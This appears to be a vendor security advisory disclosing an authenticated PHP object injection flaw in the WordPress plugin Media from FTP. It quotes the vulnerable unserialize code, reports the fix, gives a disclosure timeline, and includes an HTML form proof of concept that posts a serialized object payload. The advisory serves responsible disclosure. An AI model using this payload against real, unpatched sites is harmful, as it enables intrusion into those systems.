Authenticated PHP Object Injection Vulnerability in Media from FTP
We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across an authenticated PHP object injection vulnerability in the plugin Media from FTP.
The plugin makes the function mediafromftp_medialibraryimport_update_callback() accessible through WordPress’ AJAX functionality to those logged in to WordPress (in the file /mediafromftp.php):
79 | add_action( 'wp_ajax_'.$action2, array($mediafromftpajax, 'mediafromftp_medialibraryimport_update_callback') ); |
As of version 9.79, that function passed the POST input “db_wp_attachment_metadata” through the maybe_unserialize() function, which permits PHP object injection, if the user making the request has the “upload_files” capability and has access to the nonce “mediafromftp-import-ajax-action” (in the file /req/MediaFromFtpAjax.php):
156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 | function mediafromftp_medialibraryimport_update_callback(){ $action2 = 'mediafromftp-import-ajax-action'; if ( isset( $_REQUEST['nonce'] ) && wp_verify_nonce( $_REQUEST['nonce'], $action2 ) ) { if ( current_user_can( 'upload_files' ) ) { $file = $_POST["file"]; $filepath = str_replace(MEDIAFROMFTP_PLUGIN_UPLOAD_DIR.'/' , '', $file); if ( is_file($file) ) { if ( !empty($_POST["db_array"]) ) { $db_array = $_POST["db_array"]; global $wpdb; $table_name = $wpdb->prefix.'posts'; $wpdb->insert( $table_name, $db_array ); update_attached_file( $db_array['ID'], $filepath ) ; if ( !empty($_POST["db_wp_attachment_metadata"]) ) { $metadata = maybe_unserialize(stripslashes($_POST["db_wp_attachment_metadata"])); |
Normally Author-level and above users have the “upload_files” capability. The nonce is accessible on the plugin’s admin pages, which are also accessible to users with the “upload_files” capability (in the file /req/MediaFromFtpAdmin.php):
76 77 78 79 80 81 82 83 | add_menu_page( 'Media from FTP', 'Media from FTP', 'upload_files', 'mediafromftp', array($this, 'manage_page'), 'dashicons-upload' ); |
The day after we notified the developer of the vulnerability they released version 9.80, which fixes the vulnerability by using replacing the usage of maybe_unserialize() with json_decode().
Proof of Concept
With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” to be shown, when logged in as a user that has the “upload_files” capability.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[valid nonce]” with the value from the input “nonce” on the line that begins “var MEDIAFROMFTPIMPORT” on the page /wp-admin/admin.php?page=mediafromftp.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="mediafromftp-import-ajax-action" /> <input type="hidden" name="nonce" value="b90156c331" /> <input type="hidden" name="file" value="about.php" /> <input type="hidden" name="db_array" value="test" /> <input type="hidden" name="db_wp_attachment_metadata" value='O:20:"php_object_injection":0:{}' /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- September 11, 2017 – Developer notified.
- September 11, 2017 – Developer responds.
- Version 9.80 released, which fixes vulnerability.